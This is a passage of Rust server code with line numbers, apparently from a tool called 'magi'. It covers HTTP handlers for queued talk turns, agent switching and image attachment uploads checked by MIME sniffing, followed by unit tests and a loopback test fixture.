5892 let id = id.clone();
5893 let ids = body.attachments.clone();
5894 blocking(move || {
5895 ids.into_iter()
5896 .map(|att_id| {
5897 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5898 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5899 })
5900 })
5901 .collect::<ApiResult<Vec<talk::Attachment>>>()
5902 })
5903 .await?
5904 };
5905
5906 let start = {
5911 let ui = Arc::clone(&ui);
5912 let id = id.clone();
5913 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5914 };
5915 let turn_guard = match start {
5916 TalkTurnStart::Claimed(turn_guard) => turn_guard,
5917 TalkTurnStart::Pending => {
5918 return Err(ApiError::conflict(
5919 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5920 ));
5921 }
5922 TalkTurnStart::Busy => {
5923 let (tx, rx) = tokio::sync::oneshot::channel();
5939 tokio::spawn({
5940 let ui = Arc::clone(&ui);
5941 let id = id.clone();
5942 let said = body.text.clone();
5943 async move {
5944 let written = blocking({
5945 let ui = Arc::clone(&ui);
5946 let id = id.clone();
5947 move || {
5948 let mut talk = ui.talks.get(&id)?;
5949 #[cfg(test)]
5954 if let Some(gate) = ui
5955 .busy_queue_gate
5956 .lock()
5957 .unwrap_or_else(PoisonError::into_inner)
5958 .take()
5959 {
5960 let _ = gate.reached.send(());
5961 let _ = gate.release.recv();
5962 }
5963 if let Err(error) =
5964 talk::queue(&mut talk, &ui.talks, &said, attachments)
5965 {
5966 if let Ok(fresh) = ui.talks.get(&id) {
5967 if !fresh.status.open() {
5968 return Err(ApiError::conflict(format!(
5969 "talk {} is {} and takes no more turns",
5970 fresh.short(),
5971 fresh.status.as_str()
5972 )));
5973 }
5974 }
5975 return Err(ApiError::from(error));
5976 }
5977 let claim = match ui.begin_queued_talk_turn(&id)? {
5988 Some(turn_guard) => {
5989 let (cfg, _) = Config::discover(&talk.repo, None)?;
5990 Some((talk.clone(), cfg, turn_guard))
5991 }
5992 None => None,
5993 };
5994 let thinking = ui.is_thinking(&id);
5995 Ok((TalkView::new(talk, thinking), claim))
5996 }
5997 })
5998 .await;
5999 let (view, reclaimed) = match written {
6000 Ok(pair) => pair,
6001 Err(e) => {
6002 let _ = tx.send(Err(e));
6007 return;
6008 }
6009 };
6010 let _ = tx.send(Ok(view));
6013 if let Some((talk, cfg, turn_guard)) = reclaimed {
6014 let talks = ui.talks.clone();
6015 drain_loop(talk, talks, cfg, id, turn_guard).await;
6016 }
6017 }
6018 });
6019 let view = rx
6020 .await
6021 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6022 return Ok((StatusCode::ACCEPTED, Json(view)));
6023 }
6024 };
6025
6026 let (talk, cfg) = {
6027 let ui = Arc::clone(&ui);
6028 let id = id.clone();
6029 blocking(move || {
6030 let talk = ui.talks.get(&id)?;
6031 let (cfg, _) = Config::discover(&talk.repo, None)?;
6032 Ok((talk, cfg))
6033 })
6034 .await?
6035 };
6036
6037 let talks = ui.talks.clone();
6038 let (tx, rx) = tokio::sync::oneshot::channel();
6053 tokio::spawn({
6054 let ui = Arc::clone(&ui);
6055 let talks = talks.clone();
6056 let id = id.clone();
6057 let said = body.text.clone();
6058 let mut talk = talk.clone();
6059 async move {
6060 let recorded = blocking({
6061 let talks = talks.clone();
6062 move || {
6063 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6064 if let Ok(fresh) = talks.get(&talk.id) {
6065 if !fresh.status.open() {
6066 return Err(ApiError::conflict(format!(
6067 "talk {} is {} and takes no more turns",
6068 fresh.short(),
6069 fresh.status.as_str()
6070 )));
6071 }
6072 }
6073 return Err(ApiError::from(error));
6074 }
6075 Ok((said.trim().to_owned(), talk))
6081 }
6082 })
6083 .await;
6084 let (text, mut talk) = match recorded {
6085 Ok(pair) => pair,
6086 Err(e) => {
6087 let _ = tx.send(Err(e));
6091 return;
6092 }
6093 };
6094 let queued = talk.clone();
6095 let thinking = ui.is_thinking(&id);
6096 let _ = tx.send(Ok((queued, thinking)));
6099
6100 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
6101 tracing::warn!("talk {id} turn failed: {e:#}");
6105 }
6106 drain_loop(talk, talks, cfg, id, turn_guard).await;
6109 }
6110 });
6111
6112 let (queued, thinking) = rx
6113 .await
6114 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6115
6116 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6118}
6119
6120async fn talk_pending_resume(
6124 State(ui): State<Arc<Ui>>,
6125 Path(id): Path<String>,
6126) -> ApiResult<(StatusCode, Json<TalkView>)> {
6127 let id = {
6128 let ui = Arc::clone(&ui);
6129 let asked = id.clone();
6130 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6131 };
6132 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6133 return Err(ApiError::conflict(
6134 "a talk turn is already running; the queued draft will be handled by it",
6135 ));
6136 };
6137 let (talk, cfg) = {
6138 let ui = Arc::clone(&ui);
6139 let id = id.clone();
6140 blocking(move || {
6141 let talk = ui.talks.get(&id)?;
6142 if !talk.status.open() {
6143 return Err(ApiError::conflict(format!(
6144 "talk {} is {} and takes no more turns",
6145 talk.short(),
6146 talk.status.as_str()
6147 )));
6148 }
6149 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6150 return Err(ApiError::conflict("there is no queued draft to resume"));
6151 }
6152 let (cfg, _) = Config::discover(&talk.repo, None)?;
6153 Ok((talk, cfg))
6154 })
6155 .await?
6156 };
6157 let view = TalkView::new(talk.clone(), true);
6158 let talks = ui.talks.clone();
6159 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6160 Ok((StatusCode::ACCEPTED, Json(view)))
6161}
6162
6163async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6179 let live_set = Arc::clone(&turn.turns);
6180 let mut turn = Some(turn);
6188 loop {
6189 let observed = live_set
6193 .lock()
6194 .unwrap_or_else(PoisonError::into_inner)
6195 .queued
6196 .get(&id)
6197 .copied()
6198 .unwrap_or(0);
6199 let drained = blocking({
6200 let talks = talks.clone();
6201 move || {
6202 let result = talk::drain(&mut talk, &talks);
6203 Ok((talk, result))
6204 }
6205 })
6206 .await;
6207 let (next_talk, result) = match drained {
6208 Ok(drained) => drained,
6209 Err(e) => {
6210 tracing::warn!(
6211 status = %e.status,
6212 message = %e.message,
6213 "talk {id} could not start queued-text drain"
6214 );
6215 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6216 turn.take()
6217 .expect("held for the whole loop until released here")
6218 .release(&mut live);
6219 break;
6220 }
6221 };
6222 talk = next_talk;
6223 let drained = match result {
6224 Ok(Some(drained)) => drained,
6225 Ok(None) => {
6226 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6227 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6228 continue;
6229 }
6230 turn.take()
6231 .expect("held for the whole loop until released here")
6232 .release(&mut live);
6233 break;
6234 }
6235 Err(e) => {
6236 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6237 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6238 turn.take()
6239 .expect("held for the whole loop until released here")
6240 .release(&mut live);
6241 break;
6242 }
6243 };
6244 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6245 tracing::warn!("talk {id} turn failed: {e:#}");
6246 }
6247 }
6248}
6249
6250async fn talk_pending_clear(
6252 State(ui): State<Arc<Ui>>,
6253 Path(id): Path<String>,
6254 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6255) -> ApiResult<Json<TalkView>> {
6256 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6257 blocking(move || {
6258 let id = resolve_talk(&ui.talks, &id)?;
6259 let mut talk = ui.talks.get(&id)?;
6260 if !talk.status.open() {
6261 return Err(ApiError::conflict(format!(
6262 "talk {} is {} and takes no more turns",
6263 talk.short(),
6264 talk.status.as_str()
6265 )));
6266 }
6267 if !talk::clear_pending_if_matches(
6268 &mut talk,
6269 &ui.talks,
6270 &body.expected_text,
6271 &body.expected_attachments,
6272 )? {
6273 return Err(ApiError::conflict(
6274 "queued message changed; reload it before clearing",
6275 ));
6276 }
6277 let thinking = ui.is_thinking(&talk.id);
6278 Ok(Json(TalkView::new(talk, thinking)))
6279 })
6280 .await
6281}
6282
6283async fn talk_pending_edit(
6287 State(ui): State<Arc<Ui>>,
6288 Path(id): Path<String>,
6289 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6290) -> ApiResult<Json<TalkView>> {
6291 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6292 let (view, reclaimed) = blocking({
6293 let ui = Arc::clone(&ui);
6294 move || {
6295 let id = resolve_talk(&ui.talks, &id)?;
6296 let mut talk = ui.talks.get(&id)?;
6297 if !talk.status.open() {
6298 return Err(ApiError::conflict(format!(
6299 "talk {} is {} and takes no more turns",
6300 talk.short(),
6301 talk.status.as_str()
6302 )));
6303 }
6304 if !talk::edit_pending_text(
6305 &mut talk,
6306 &ui.talks,
6307 &body.text,
6308 &body.expected_text,
6309 &body.expected_attachments,
6310 )? {
6311 return Err(ApiError::conflict(
6312 "queued message changed; reload it before editing",
6313 ));
6314 }
6315 let claim = match ui.begin_queued_talk_turn(&id)? {
6316 Some(turn_guard) => {
6317 let (cfg, _) = Config::discover(&talk.repo, None)?;
6318 Some((talk.clone(), cfg, id.clone(), turn_guard))
6319 }
6320 None => None,
6321 };
6322 let thinking = ui.is_thinking(&id);
6323 Ok((TalkView::new(talk, thinking), claim))
6324 }
6325 })
6326 .await?;
6327 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6328 let talks = ui.talks.clone();
6329 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6330 }
6331 Ok(Json(view))
6332}
6333
6334#[derive(Debug, Deserialize)]
6336struct TalkAgent {
6337 agent: String,
6338}
6339
6340async fn talk_agent(
6345 State(ui): State<Arc<Ui>>,
6346 Path(id): Path<String>,
6347 Json(body): Json<TalkAgent>,
6348) -> ApiResult<Json<TalkView>> {
6349 let id = {
6350 let ui = Arc::clone(&ui);
6351 blocking(move || resolve_talk(&ui.talks, &id)).await?
6352 };
6353 let repo = {
6354 let ui = Arc::clone(&ui);
6355 let id = id.clone();
6356 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6357 };
6358 let cfg = config_for(&repo).await?;
6359 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6360 return Err(ApiError::conflict(
6361 "a talk turn is running; change the agent once it has answered",
6362 ));
6363 };
6364 let switched = {
6365 let ui = Arc::clone(&ui);
6366 let id = id.clone();
6367 let cfg = cfg.clone();
6368 blocking(move || {
6369 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6370 .map_err(ApiError::bad_request_from)?;
6371 let mut talk = ui.talks.get(&id)?;
6372 if !talk.status.open() {
6373 return Err(ApiError::conflict(format!(
6374 "talk {} is {} and takes no more turns",
6375 talk.short(),
6376 talk.status.as_str()
6377 )));
6378 }
6379 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6380 Ok(talk)
6381 })
6382 .await
6383 };
6384 let fresh = {
6389 let ui = Arc::clone(&ui);
6390 let id = id.clone();
6391 blocking(move || Ok(ui.talks.get(&id)?)).await
6392 };
6393 let draining = match fresh {
6394 Ok(talk) => {
6395 let draining = talk.status.open()
6396 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6397 let talks = ui.talks.clone();
6398 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6399 draining
6400 }
6401 Err(_) => false,
6402 };
6403 let talk = switched?;
6404 Ok(Json(TalkView::new(talk, draining)))
6405}
6406
6407async fn talk_close(
6409 State(ui): State<Arc<Ui>>,
6410 Path(id): Path<String>,
6411) -> ApiResult<Json<TalkView>> {
6412 blocking(move || {
6413 let id = resolve_talk(&ui.talks, &id)?;
6414 let mut talk = ui.talks.get(&id)?;
6415 talk::close(&mut talk, &ui.talks)?;
6416 let thinking = ui.is_thinking(&talk.id);
6417 Ok(Json(TalkView::new(talk, thinking)))
6418 })
6419 .await
6420}
6421
6422async fn talk_reopen(
6424 State(ui): State<Arc<Ui>>,
6425 Path(id): Path<String>,
6426) -> ApiResult<Json<TalkView>> {
6427 blocking(move || {
6428 let id = resolve_talk(&ui.talks, &id)?;
6429 let mut talk = ui.talks.get(&id)?;
6430 talk::reopen(&mut talk, &ui.talks)?;
6431 let thinking = ui.is_thinking(&talk.id);
6432 Ok(Json(TalkView::new(talk, thinking)))
6433 })
6434 .await
6435}
6436
6437async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6447 blocking(move || {
6448 let id = resolve_talk(&ui.talks, &id)?;
6449 ui.talks.remove(&id)?;
6450 Ok(StatusCode::NO_CONTENT)
6451 })
6452 .await
6453}
6454
6455fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6457 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6458}
6459
6460async fn talk_attachment_post(
6463 State(ui): State<Arc<Ui>>,
6464 Path(id): Path<String>,
6465 headers: HeaderMap,
6466 body: Bytes,
6467) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6468 let mime = validate_attachment(&headers, &body)?;
6469 let name = filename_header(&headers);
6470 let data = body.to_vec();
6471 blocking(move || {
6472 let id = resolve_talk(&ui.talks, &id)?;
6473 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6474 Ok((StatusCode::CREATED, Json(att)))
6475 })
6476 .await
6477}
6478
6479async fn talk_attachment_get(
6482 State(ui): State<Arc<Ui>>,
6483 Path((id, att)): Path<(String, String)>,
6484) -> ApiResult<Response> {
6485 blocking(move || {
6486 let id = resolve_talk(&ui.talks, &id)?;
6487 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6488 return Err(ApiError::not_found(format!(
6489 "talk {id} has no attachment `{att}`"
6490 )));
6491 };
6492 Ok(attachment_response(&meta.mime, data))
6493 })
6494 .await
6495}
6496
6497fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6508 if data.len() > ATTACHMENT_MAX_BYTES {
6509 return Err(ApiError::bad_request(format!(
6510 "attachment is {} bytes, over the {} MiB limit",
6511 data.len(),
6512 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6513 ))
6514 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6515 }
6516 if data.is_empty() {
6517 return Err(ApiError::bad_request("attachment is empty"));
6518 }
6519 let declared = declared_mime(headers)?;
6520 match sniffed_mime(data) {
6521 Some(sniffed) if sniffed == declared => Ok(declared),
6522 Some(sniffed) => Err(ApiError::bad_request(format!(
6523 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6524 ))),
6525 None => Err(ApiError::bad_request(
6526 "the file's bytes do not match any accepted image format",
6527 )),
6528 }
6529}
6530
6531fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6535 let raw = headers
6536 .get(header::CONTENT_TYPE)
6537 .and_then(|v| v.to_str().ok())
6538 .unwrap_or("")
6539 .split(';')
6540 .next()
6541 .unwrap_or("")
6542 .trim()
6543 .to_ascii_lowercase();
6544 ATTACHMENT_MIME_WHITELIST
6545 .iter()
6546 .find(|&&m| m == raw)
6547 .copied()
6548 .ok_or_else(|| {
6549 if raw == "image/svg+xml" {
6550 ApiError::bad_request(
6551 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6552 not just a picture",
6553 )
6554 } else if raw.is_empty() {
6555 ApiError::bad_request("Content-Type is required for an attachment upload")
6556 } else {
6557 ApiError::bad_request(format!(
6558 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6559 image/gif or image/webp"
6560 ))
6561 }
6562 })
6563}
6564
6565fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6568 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6569 Some("image/png")
6570 } else if data.starts_with(b"\xff\xd8\xff") {
6571 Some("image/jpeg")
6572 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6573 Some("image/gif")
6574 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6575 Some("image/webp")
6576 } else {
6577 None
6578 }
6579}
6580
6581fn filename_header(headers: &HeaderMap) -> String {
6587 headers
6588 .get(FILENAME_HEADER)
6589 .and_then(|v| v.to_str().ok())
6590 .map(str::trim)
6591 .filter(|s| !s.is_empty())
6592 .unwrap_or("attachment")
6593 .to_owned()
6594}
6595
6596fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6603 let content_type = ATTACHMENT_MIME_WHITELIST
6604 .iter()
6605 .find(|&&m| m == mime)
6606 .copied()
6607 .unwrap_or("application/octet-stream");
6608 (
6609 [
6610 (header::CONTENT_TYPE, content_type),
6611 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6612 ],
6613 body,
6614 )
6615 .into_response()
6616}
6617
6618async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6626 let repo = repo.to_path_buf();
6627 blocking(move || {
6628 let (cfg, _) = Config::discover(&repo, None)?;
6629 Ok(cfg)
6630 })
6631 .await
6632}
6633
6634fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6640 let mut hits = ids
6641 .into_iter()
6642 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6643 match (hits.next(), hits.next()) {
6644 (Some(one), None) => Ok(one),
6645 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6646 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6647 "`{prefix}` matches more than one {what}, including {a} and {b}"
6648 ))),
6649 }
6650}
6651
6652#[cfg(test)]
6653mod tests {
6654
6655 #[test]
6656 fn holder_reads_the_lease_not_the_record() {
6657 let mut q = Question::new(
6658 "run".to_owned(),
6659 "implement".to_owned(),
6660 "impl-A".to_owned(),
6661 "which?".to_owned(),
6662 String::new(),
6663 Vec::new(),
6664 );
6665 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6666 q.cwd = Some("/tmp".to_owned());
6667 assert_eq!(holder_of(&q, None), Some("nobody"));
6668 let beat = |kind, ago: i64| ask::Lease {
6669 kind,
6670 pid: 1,
6671 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6672 .unwrap(),
6673 };
6674 let fresh = beat(ask::WaiterKind::Asker, 1);
6675 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6676 let daemon = beat(ask::WaiterKind::Daemon, 1);
6677 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6678 let stale = beat(ask::WaiterKind::Asker, 3600);
6679 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6680
6681 let mut c = Question::new(
6684 "task".to_owned(),
6685 crate::conduct::NODE.to_owned(),
6686 "conduct".to_owned(),
6687 "which?".to_owned(),
6688 String::new(),
6689 Vec::new(),
6690 );
6691 assert_eq!(holder_of(&c, None), Some("nobody"));
6692 c.cwd = Some("/tmp".to_owned());
6693 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6694 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6695 let deputy = beat(ask::WaiterKind::Deputy, 1);
6696 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6697 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6698
6699 let mut r = Question::new(
6701 String::new(),
6702 crate::bump::NOTICE_NODE.to_owned(),
6703 "release-watch".to_owned(),
6704 "stuck?".to_owned(),
6705 String::new(),
6706 vec!["hold".to_owned()],
6707 );
6708 assert_eq!(holder_of(&r, None), Some("nobody"));
6709 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6710 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6711 r.deputy = None;
6713 r.seat = "bump".to_owned();
6714 assert_eq!(holder_of(&r, None), None);
6715
6716 let mut m = Question::new(
6719 "run".to_owned(),
6720 crate::land::APPROVAL_NODE.to_owned(),
6721 "land".to_owned(),
6722 "merge?".to_owned(),
6723 String::new(),
6724 Vec::new(),
6725 );
6726 assert_eq!(holder_of(&m, None), Some("nobody"));
6727 assert_eq!(
6728 holder_of(&m, Some(&fresh)),
6729 Some("nobody"),
6730 "a lease with no deputy is not a listener"
6731 );
6732 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6733 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6734 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6735 assert_eq!(holder_of(&m, None), Some("nobody"));
6736 }
6737
6738 fn stub_config() -> Config {
6739 Config {
6742 agents: vec![crate::config::AgentSpec {
6743 id: "stub".to_owned(),
6744 kind: AgentKind::Command,
6745 model: None,
6746 command: vec!["true".to_owned()],
6747 extra_args: Vec::new(),
6748 env: Default::default(),
6749 prompt_delivery: None,
6750 }],
6751 ..Config::default()
6752 }
6753 }
6754
6755 fn plain_question(seat: &str) -> Question {
6756 Question::new(
6757 String::new(),
6758 "n".to_owned(),
6759 seat.to_owned(),
6760 "s".to_owned(),
6761 String::new(),
6762 Vec::new(),
6763 )
6764 }
6765
6766 #[test]
6767 fn deputies_enabled_follows_the_config() {
6768 let on = stub_config();
6769 assert!(crate::deputy::can_start(Some(&on), ""));
6770 assert!(crate::deputy::can_start(Some(&on), "stub"));
6771 let mut off = on.clone();
6772 off.daemon.max_deputies = 0;
6773 assert!(!crate::deputy::can_start(Some(&off), ""));
6774 let mut empty = on;
6775 empty.agents.clear();
6776 assert!(!crate::deputy::can_start(Some(&empty), ""));
6777 assert!(!crate::deputy::can_start(None, ""));
6778 }
6779
6780 #[test]
6781 fn question_views_load_the_config_once() {
6782 let dir = TempDir::new().unwrap();
6783 let store = ask::Questions::at(dir.path().to_path_buf());
6784 let mut with_deputy = plain_question("b");
6785 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6786 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6787
6788 let calls = std::cell::Cell::new(0usize);
6789 let views = question_views(qs.clone(), &store, || {
6790 calls.set(calls.get() + 1);
6791 Some(stub_config())
6792 });
6793 assert_eq!(calls.get(), 1);
6794 assert_eq!(views.len(), 3);
6795 for (v, q) in views.iter().zip(&qs) {
6796 assert_eq!(
6797 v.deputies_enabled,
6798 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6799 );
6800 }
6801
6802 let views = question_views(qs, &store, || None);
6803 assert!(views.iter().all(|v| !v.deputies_enabled));
6804
6805 let calls = std::cell::Cell::new(0usize);
6806 let views = question_views(Vec::new(), &store, || {
6807 calls.set(calls.get() + 1);
6808 None
6809 });
6810 assert!(views.is_empty());
6811 assert_eq!(calls.get(), 0);
6812 }
6813
6814 use pretty_assertions::assert_eq;
6815 use serde_json::Value;
6816 use tempfile::TempDir;
6817 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6818
6819 use super::*;
6820 use crate::config::Config;
6821 use crate::queue::Source;
6822
6823 const SETTLE_STEPS: usize = 3_000;
6834
6835 struct Fixture {
6841 home: TempDir,
6842 addr: SocketAddr,
6843 }
6844
6845 impl Fixture {
6846 async fn start() -> Self {
6847 Self::with_loop(launch_idle).await
6848 }
6849
6850 async fn with_loop(launch: Launch) -> Self {
6852 let home = TempDir::new().expect("temp home");
6853 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6854 Self { home, addr }
6855 }
6856
6857 async fn with_repo(repo: PathBuf) -> Self {
6861 let home = TempDir::new().expect("temp home");
6862 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6863 Self { home, addr }
6864 }
6865
6866 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6869 let home = TempDir::new().expect("temp home");
6870 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6871 Self { home, addr }
6872 }
6873
6874 async fn serve(
6875 home: &FsPath,
6876 repo: PathBuf,
6877 launch: Launch,
6878 machine: Option<PathBuf>,
6879 ) -> SocketAddr {
6880 let queue = Queue::at(home.join("queue"));
6881 let runs = home.join("runs");
6882 std::fs::create_dir_all(&runs).expect("runs dir");
6883 let worktrees = home.join("wt").join("magi");
6884 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6885 let ui = Ui::new(
6886 queue,
6887 Questions::at(home.join("questions")),
6888 Talks::at(home.join("talks")),
6889 runs,
6890 home.to_path_buf(),
6891 repo,
6892 )
6893 .with_worktrees_root(worktrees)
6894 .with_machine_config(machine)
6895 .with_launch(launch);
6896 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6897 .await
6898 .expect("bind loopback");
6899 let addr = listener.local_addr().expect("local addr");
6900 tokio::spawn(async move {
6901 let _ = axum::serve(listener, ui.router()).await;
6902 });
6903 addr
6904 }
6905
6906 fn queue(&self) -> Queue {
6907 Queue::at(self.home.path().join("queue"))
6908 }
6909
6910 fn questions(&self) -> Questions {
6911 Questions::at(self.home.path().join("questions"))
6912 }
6913
6914 fn talks(&self) -> Talks {
6915 Talks::at(self.home.path().join("talks"))
6916 }
6917
6918 fn runs(&self) -> PathBuf {
6919 self.home.path().join("runs")
6920 }
6921
6922 async fn get(&self, path: &str) -> Res {
6923 request(self.addr, "GET", path, None).await
6924 }
6925
6926 async fn head(&self, path: &str) -> Res {
6931 request(self.addr, "HEAD", path, None).await
6932 }
6933
6934 async fn post(&self, path: &str, body: Option<&str>) -> Res {
6935 request(self.addr, "POST", path, body).await
6936 }
6937
6938 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6939 request_with(self.addr, "GET", path, None, extra).await
6940 }
6941
6942 async fn delete(&self, path: &str) -> Res {
6943 request(self.addr, "DELETE", path, None).await
6944 }
6945
6946 async fn put(&self, path: &str, body: &str) -> Res {
6947 request(self.addr, "PUT", path, Some(body)).await
6948 }
6949
6950 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6952 request_bytes(self.addr, path, headers, body).await
6953 }
6954 }
6955
6956 struct Res {
6957 status: u16,
6958 headers: String,
6959 head: String,
6964 body: String,
6965 bytes: Vec<u8>,
6969 }
6970
6971 impl Res {
6972 fn json(&self) -> Value {
6973 serde_json::from_str(&self.body)
6974 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6975 }
6976
6977 fn header(&self, name: &str) -> Option<&str> {
6979 self.head.lines().find_map(|line| {
6980 let (key, value) = line.split_once(':')?;
6981 key.trim()
6982 .eq_ignore_ascii_case(name)
6983 .then(|| value.trim_start().trim_end_matches('\r'))
6984 })
6985 }
6986 }
6987
6988 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6991 request_with(addr, method, path, body, &[]).await
6992 }
6993
6994 async fn request_with(
6998 addr: SocketAddr,
6999 method: &str,
7000 path: &str,
7001 body: Option<&str>,
7002 extra: &[(&str, &str)],
7003 ) -> Res {
7004 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7005 for (name, value) in extra {
7006 head.push_str(&format!("{name}: {value}\r\n"));
7007 }
7008 if let Some(body) = body {
7009 head.push_str("Content-Type: application/json\r\n");
7010 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7011 }
7012 head.push_str("\r\n");
7013 if let Some(body) = body {
7014 head.push_str(body);
7015 }
7016 let mut socket = tokio::net::TcpStream::connect(addr)
7017 .await
7018 .expect("connect to the test server");
7019 socket
7020 .write_all(head.as_bytes())
7021 .await
7022 .expect("write request");
7023 let mut raw = Vec::new();
7024 socket.read_to_end(&mut raw).await.expect("read response");
7025 let split = raw
7028 .windows(4)
7029 .position(|w| w == b"\r\n\r\n")
7030 .expect("a header block");
7031 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7032 let bytes = raw[split + 4..].to_vec();
7033 let status = head
7034 .lines()
7035 .next()
7036 .and_then(|line| line.split_whitespace().nth(1))
7037 .and_then(|code| code.parse().ok())
7038 .expect("a status line");
7039 Res {
7040 status,
7041 headers: head.to_lowercase(),
7042 head,
7043 body: String::from_utf8_lossy(&bytes).into_owned(),
7044 bytes,
7045 }
7046 }
7047
7048 async fn request_bytes(
7054 addr: SocketAddr,
7055 path: &str,
7056 headers: &[(&str, &str)],
7057 body: &[u8],
7058 ) -> Res {
7059 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7060 for (name, value) in headers {
7061 head.push_str(&format!("{name}: {value}\r\n"));
7062 }
7063 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7064 let mut socket = tokio::net::TcpStream::connect(addr)
7065 .await
7066 .expect("connect to the test server");
7067 socket
7068 .write_all(head.as_bytes())
7069 .await
7070 .expect("write request head");
7071 socket.write_all(body).await.expect("write request body");
7072 let mut raw = Vec::new();
7073 socket.read_to_end(&mut raw).await.expect("read response");
7074 let split = raw
7075 .windows(4)
7076 .position(|w| w == b"\r\n\r\n")
7077 .expect("a header block");
7078 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7079 let bytes = raw[split + 4..].to_vec();
7080 let status = head
7081 .lines()
7082 .next()
7083 .and_then(|line| line.split_whitespace().nth(1))
7084 .and_then(|code| code.parse().ok())
7085 .expect("a status line");
7086 Res {
7087 status,
7088 headers: head.to_lowercase(),
7089 head,
7090 body: String::from_utf8_lossy(&bytes).into_owned(),
7091 bytes,
7092 }
7093 }
7094
7095 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7097 let mut state = RunState::new(
